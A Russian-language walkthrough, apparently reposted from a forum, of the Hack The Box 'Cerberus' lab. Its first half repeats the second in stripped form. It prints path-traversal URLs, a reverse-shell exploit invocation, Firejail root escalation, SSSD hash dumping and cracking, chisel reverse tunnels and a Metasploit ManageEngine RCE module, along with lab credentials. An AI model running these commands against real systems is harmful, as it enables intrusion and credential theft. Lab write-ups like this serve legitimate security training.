stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу, как эксплуатировать уязвимость в сервисе ADSelfService Plus для захвата домена Active Directory. По дороге захватим хост на Linux, раскрутив цепочку уязвимостей в системе мониторинга Icinga Web 2. Повысим привилегии благодаря дыре в сендбоксе Firejail и сдампим учетные данные из SSSD.
Поможет нам в этом тренировочная машина Cerberus с площадки Hack The Box. Уровень — сложный.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел всего один открытый порт! Это порт 8080, на котором работает веб‑сервер Apache 2.4.52. При этом в заголовке http-title сразу отображен редирект на домен icinga.cerberus.local, который мы добавляем в файл /etc/hosts.
Теперь переходим по этому адресу в браузере, и нас встречает опенсорсная система мониторинга Icinga Web 2.
Форма авторизации icinga.cerberus.local
или Зарегистрируйся, где описаны уязвимости для Icinga Web 2. И первое, что привлекает внимание, — это баг, позволяющий читать произвольные файлы на хосте.
Описание уязвимости чтения произвольных файлов
Пробуем указанным в описании способом прочитать файл /etc/hosts.
Для просмотра ссылки Войдиили Зарегистрируйся
Но одно дело — иметь такую возможность, а другое — знать, какие файлы читать. В этом поможет Для просмотра ссылки Войдиили Зарегистрируйся Icinga, где можно посмотреть имена и описание файлов с настройками. Первый интересный файл — это confing.ini. Он содержит глобальные настройки, к примеру путь к файлам модулей.
Содержимое файла config.ini
Второй интересный файл — resources.ini. В нем записаны учетные данные для подключения к базе данных.
Содержимое файла resources.ini
С этими учетными данными получается авторизоваться на сайте.
Главная страница Icinga
Описание уязвимости
Перед тем как пытаться воспроизвести эти действия вручную, можно посмотреть, нет ли в интернете готового кода, который автоматизирует этот сложный процесс. Первая Для просмотра ссылки Войдиили Зарегистрируйся приводит к рабочему эксплоиту. Но прежде чем пускать его в ход, мы должны сгенерировать SSH-ключ.
После этого запускаем листенер:
И выполняем файл эксплоита:
Результат выполнения эксплоита
Моментально на листенере появляется сессия от имени пользователя www-data.
Сессия в pwncat-cs
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
В выводе много информации, поэтому отберем только значимую.
На хосте есть необходимые для выполнения кода библиотеки MySQL.
Связанные с MySQL данные
Среди файлов с установленным битом SUID есть неизвестный бинарь firejail.
Файлы с выставленным битом SUID
Информация о сетевом интерфейсе раскрывает адрес сети — 172.16.22.0.
Информация о сетевом интерфейсе
В дереве процессов находим работающий SSSD — демон для управления доступом к службам каталогов и механизмам проверки подлинности.
Дерево процессов
Также отмечаем SSSD среди профилей AppArmor.
Профили AppArmor
На хосте присутствует файл /etc/krb5.conf, содержащий настройки Kerberos для работы в домене.
Содержимое файла /etc/krb5.conf
Информации, конечно, много, но наиболее здесь важно, что у бинарного файла firejail есть бит SUID.
Firejail — это система изолированного выполнения графических, консольных и серверных приложений, которая снижает риск нарушения безопасности за счет ограничения рабочей среды потенциально уязвимых программ. Для этого используются пространства имен, фильтрация системных вызовов и возможности AppArmor.
В таких случаях нужно обязательно проверить техники GTFOBins или существующие эксплоиты, так как главная задача — просто получить непредумышленное выполнение кода. Быстрый поиск эксплоитов в Google показал, что это верный путь.
Поиск эксплоитов в Google
Первая же Для просмотра ссылки Войдиили Зарегистрируйся приводит к рабочему эксплоиту, который я и использовал. Единственное неудобство — для эксплуатации нам нужно сделать еще одну сессию. Тогда в первой сессии мы запускаем эксплоит, а во второй используем Firejail для получения привилегированного шелла.
Первая сессия — выполнение эксплоита
Вторая сессия — получение привилегированного шелла
Содержимое каталога /var/lib/sss/db/
Получим все строки из файла cache_cerberus.local.ldb.
Строки в файле cache_cerberus.local.ldb
В выводе видим хеш пароля пользователя, этот хеш нам предстоит перебирать. Но первым делом с помощью справки hashcat определим его тип.
Справка hashcat
Теперь указываем полученный режим перебора хеша — 1800. На выходе получаем пароль.
Результат перебора хеша
Чтобы понять, где можно авторизоваться с этими учетными данными, просканируем порты на контроллере домена.
Результат сканирования портов
На хосте работает служба WinRM, и, чтобы подключиться к ней, сделаем туннель. Для этого будем использовать Для просмотра ссылки Войдиили Зарегистрируйся. На локальном хосте запустим сервер, ожидающий подключения (параметр --reverse) на порт 8888 (параметр -p).
Логи chisel server
Теперь на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также настройки туннелирования: с локального порта 8888 на порт 5985 хоста 172.16.22.1.
Логи chisel client
В логах сервера мы должны увидеть сообщение о создании сессии. Как только сессия будет создана, пробуем авторизоваться на службе WinRM с помощью инструмента Для просмотра ссылки Войдиили Зарегистрируйся.
Флаг пользователя
В списке пользователей отмечаем пользователя службы ADFS.
Найденные домашние каталоги пользователей
Отмечаем открытые для локального хоста нестандартные порты 8888 и 9251.
Для просмотра ссылки Войдиили Зарегистрируйся
Проверим, что расположено на порте 9251, для чего немного изменим туннель chisel. Для доступа к хосту будем использовать туннель Socks, а для доступа к внутреннему порту будем прокидывать этот порт.
Логи сервера chisel
При попытке просмотреть порт через браузер нам сообщают о небезопасном подключении, то есть необходимо использовать HTTPS.
Сообщение на сайте
Повторяем обращение к серверу, проходим ряд редиректов и встречаем типичную форму авторизации ADFS.
Страница авторизации ADFS
Теперь пару слов о том, что это такое.
Служба федерации ADFS — компонент серверной платформы Microsoft Windows Server, реализующий «сервис маркеров доступа» (STS), который использует службу каталога Active Directory для аутентификации пользователей и хранения информации о них.
Основные операции:
Маркер доступа соответствует спецификации SAML Token, которая определяет синтаксис и структуру маркера. Это расширяемый формат, что позволяет формировать содержание маркера в соответствии с требованиями приложения, к которому осуществляется доступ. Срок действия маркера и область применения ограниченны. Маркер доступа содержит информацию о пользователе в форме набора утверждений (Claims), которые используются приложением для создания контекста пользователя.
Попробуем авторизоваться в ADFS и получить маркер доступа.
Получение GUID токена (маркера доступа)
Немного поисследовав файловую систему, находим продукт ManageEngine ADSelfService Plus, который как раз и представляет собой интегрированное решение для самостоятельного управления паролями и единого входа. Из базы получим Issuer URL, просто грепнув файлы по строке.
Получение Issuer URL
В самом ManageEngine есть нашумевшая уязвимость Для просмотра ссылки Войдиили Зарегистрируйся, которая приводит к удаленному выполнению кода. Автоматизированный эксплоит уже появился в Metasploit Framework. У нас есть необходимые для эксплуатации параметры — GUID токена и Issuer URL.
Эксплуатация уязвимости
Мы получили сессию и теперь просто забираем флаг рута.
Флаг рута
Машина захвачена!
Поможет нам в этом тренировочная машина Cerberus с площадки Hack The Box. Уровень — сложный.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.205 cerberus.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Сканер нашел всего один открытый порт! Это порт 8080, на котором работает веб‑сервер Apache 2.4.52. При этом в заголовке http-title сразу отображен редирект на домен icinga.cerberus.local, который мы добавляем в файл /etc/hosts.
10.10.11.205 cerberus.htb icinga.cerberus.local cerberus.local
Теперь переходим по этому адресу в браузере, и нас встречает опенсорсная система мониторинга Icinga Web 2.

Точка входа
Первым делом нужно поискать существующие эксплоиты для найденной системы. Мне удалось выйти на Для просмотра ссылки Войди
Пробуем указанным в описании способом прочитать файл /etc/hosts.
[URL unfurl="true"]http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/hosts[/URL]
Для просмотра ссылки Войди
Но одно дело — иметь такую возможность, а другое — знать, какие файлы читать. В этом поможет Для просмотра ссылки Войди
[URL unfurl="true"]http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/icingaweb2/config.ini[/URL]

Второй интересный файл — resources.ini. В нем записаны учетные данные для подключения к базе данных.
[URL unfurl="true"]http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/icingaweb2/resources.ini[/URL]

С этими учетными данными получается авторизоваться на сайте.

Точка опоры
Теперь у нас есть доступ к сайту, и можно перейти к другой описанной в том же ресерче уязвимости CVE-2022-24715. Аутентифицированные пользователи с доступом к настройкам фреймворка могут создавать файлы ресурсов SSH в непредусмотренных каталогах, что приводит к выполнению произвольного кода. Уязвимость заключается в неправильной проверке переданной строки в коде на PHP. Если использовать null-байт, то при проверке он будет учтен и строка получится обрезанной, но в момент записи в файл null-байт не будет учитываться, что приведет к записи дополнительных данных.
Перед тем как пытаться воспроизвести эти действия вручную, можно посмотреть, нет ли в интернете готового кода, который автоматизирует этот сложный процесс. Первая Для просмотра ссылки Войди
ssh-keygen -t rsa -m pem
После этого запускаем листенер:
pwncat-cs -lp 4321
И выполняем файл эксплоита:
python3 exploit.py -t [URL]http://icinga.cerberus.local:8080/icingaweb2/[/URL] -I 10.10.14.75 -P 4321 -u matthew -p IcingaWebPassword2023 -e id_rsa

Моментально на листенере появляется сессия от имени пользователя www-data.

Локальное повышение привилегий (хост 1)
Теперь нам нужно собрать информацию о системе. Я буду использовать для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиВ выводе много информации, поэтому отберем только значимую.
На хосте есть необходимые для выполнения кода библиотеки MySQL.

Среди файлов с установленным битом SUID есть неизвестный бинарь firejail.

Информация о сетевом интерфейсе раскрывает адрес сети — 172.16.22.0.

В дереве процессов находим работающий SSSD — демон для управления доступом к службам каталогов и механизмам проверки подлинности.

Также отмечаем SSSD среди профилей AppArmor.

На хосте присутствует файл /etc/krb5.conf, содержащий настройки Kerberos для работы в домене.

Информации, конечно, много, но наиболее здесь важно, что у бинарного файла firejail есть бит SUID.
Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.Firejail — это система изолированного выполнения графических, консольных и серверных приложений, которая снижает риск нарушения безопасности за счет ограничения рабочей среды потенциально уязвимых программ. Для этого используются пространства имен, фильтрация системных вызовов и возможности AppArmor.
В таких случаях нужно обязательно проверить техники GTFOBins или существующие эксплоиты, так как главная задача — просто получить непредумышленное выполнение кода. Быстрый поиск эксплоитов в Google показал, что это верный путь.

Первая же Для просмотра ссылки Войди

firejail --join=35256

Продвижение
Демон SSSD может кешировать учетные данные в локальной базе данных.
Получим все строки из файла cache_cerberus.local.ldb.
strings /var/lib/sss/db/cache_cerberus.local.ldb

В выводе видим хеш пароля пользователя, этот хеш нам предстоит перебирать. Но первым делом с помощью справки hashcat определим его тип.
hashcat --example | grep '\$6\$' -A2 -B11

Теперь указываем полученный режим перебора хеша — 1800. На выходе получаем пароль.
hashcat -m 1800 -a 0 hash.txt rockyou.txt

Чтобы понять, где можно авторизоваться с этими учетными данными, просканируем порты на контроллере домена.
./nmap -p- --min-rate=1500 172.16.22.1

На хосте работает служба WinRM, и, чтобы подключиться к ней, сделаем туннель. Для этого будем использовать Для просмотра ссылки Войди
./chisel.bin server -p 8888 --reverse

Теперь на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также настройки туннелирования: с локального порта 8888 на порт 5985 хоста 172.16.22.1.
./chisel.bin client 10.10.14.75:8888 R:5985:172.16.22.1:5985

В логах сервера мы должны увидеть сообщение о создании сессии. Как только сессия будет создана, пробуем авторизоваться на службе WinRM с помощью инструмента Для просмотра ссылки Войди
evil-winrm -i 127.0.0.1 -u 'matthew' -p '147258369'

Локальное повышение привилегий (хост 2)
Нам снова нужно провести разведку, и снова используем PEASS, на этот раз версию для Windows.В списке пользователей отмечаем пользователя службы ADFS.

Отмечаем открытые для локального хоста нестандартные порты 8888 и 9251.
Для просмотра ссылки Войди
Проверим, что расположено на порте 9251, для чего немного изменим туннель chisel. Для доступа к хосту будем использовать туннель Socks, а для доступа к внутреннему порту будем прокидывать этот порт.
Код:
# --- socks ---
#remote linux
chisel.bin client 10.10.14.75:8888 R:socks
# --- port forwarding ---
#remote windows
chisel.exe client 10.10.14.75:8888 R:9251:127.0.0.1:9251

При попытке просмотреть порт через браузер нам сообщают о небезопасном подключении, то есть необходимо использовать HTTPS.

Повторяем обращение к серверу, проходим ряд редиректов и встречаем типичную форму авторизации ADFS.

Теперь пару слов о том, что это такое.
Active Directory Federation Services
ADFS — это функция Active Directory, которая обеспечивает идентификацию доступа и дает возможность клиентам (в основном на базе браузеров) внутри или за пределами локальной сети получать доступ к веб‑приложениям по технологии single sign-on (SSO). Так ADFS извлекает атрибуты пользователей из Active Directory, а также проверяет подлинность пользователей в Active Directory.Служба федерации ADFS — компонент серверной платформы Microsoft Windows Server, реализующий «сервис маркеров доступа» (STS), который использует службу каталога Active Directory для аутентификации пользователей и хранения информации о них.
Основные операции:
- первоначальная аутентификация пользователя;
- выпуск маркера доступа (Issue);
- проверка маркера доступа (Validate);
- обновление маркера доступа (Renew);
- аннулирование маркера доступа (Cancel).
Маркер доступа соответствует спецификации SAML Token, которая определяет синтаксис и структуру маркера. Это расширяемый формат, что позволяет формировать содержание маркера в соответствии с требованиями приложения, к которому осуществляется доступ. Срок действия маркера и область применения ограниченны. Маркер доступа содержит информацию о пользователе в форме набора утверждений (Claims), которые используются приложением для создания контекста пользователя.
Попробуем авторизоваться в ADFS и получить маркер доступа.

Немного поисследовав файловую систему, находим продукт ManageEngine ADSelfService Plus, который как раз и представляет собой интегрированное решение для самостоятельного управления паролями и единого входа. Из базы получим Issuer URL, просто грепнув файлы по строке.
ls -r | Select-String issuer_url | select line,path

В самом ManageEngine есть нашумевшая уязвимость Для просмотра ссылки Войди
proxychains -q msfconsole
use manageengine_adselfservice_plus_saml_rce_cve_2022_47966
set GUID 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f
set ISSUER_URL [URL]http://dc.cerberus.local/adfs/services/trust[/URL]
set RHOST 127.0.0.1
set RPORT 9251
set LHOST 10.10.14.56
exploit

Мы получили сессию и теперь просто забираем флаг рута.

Машина захвачена!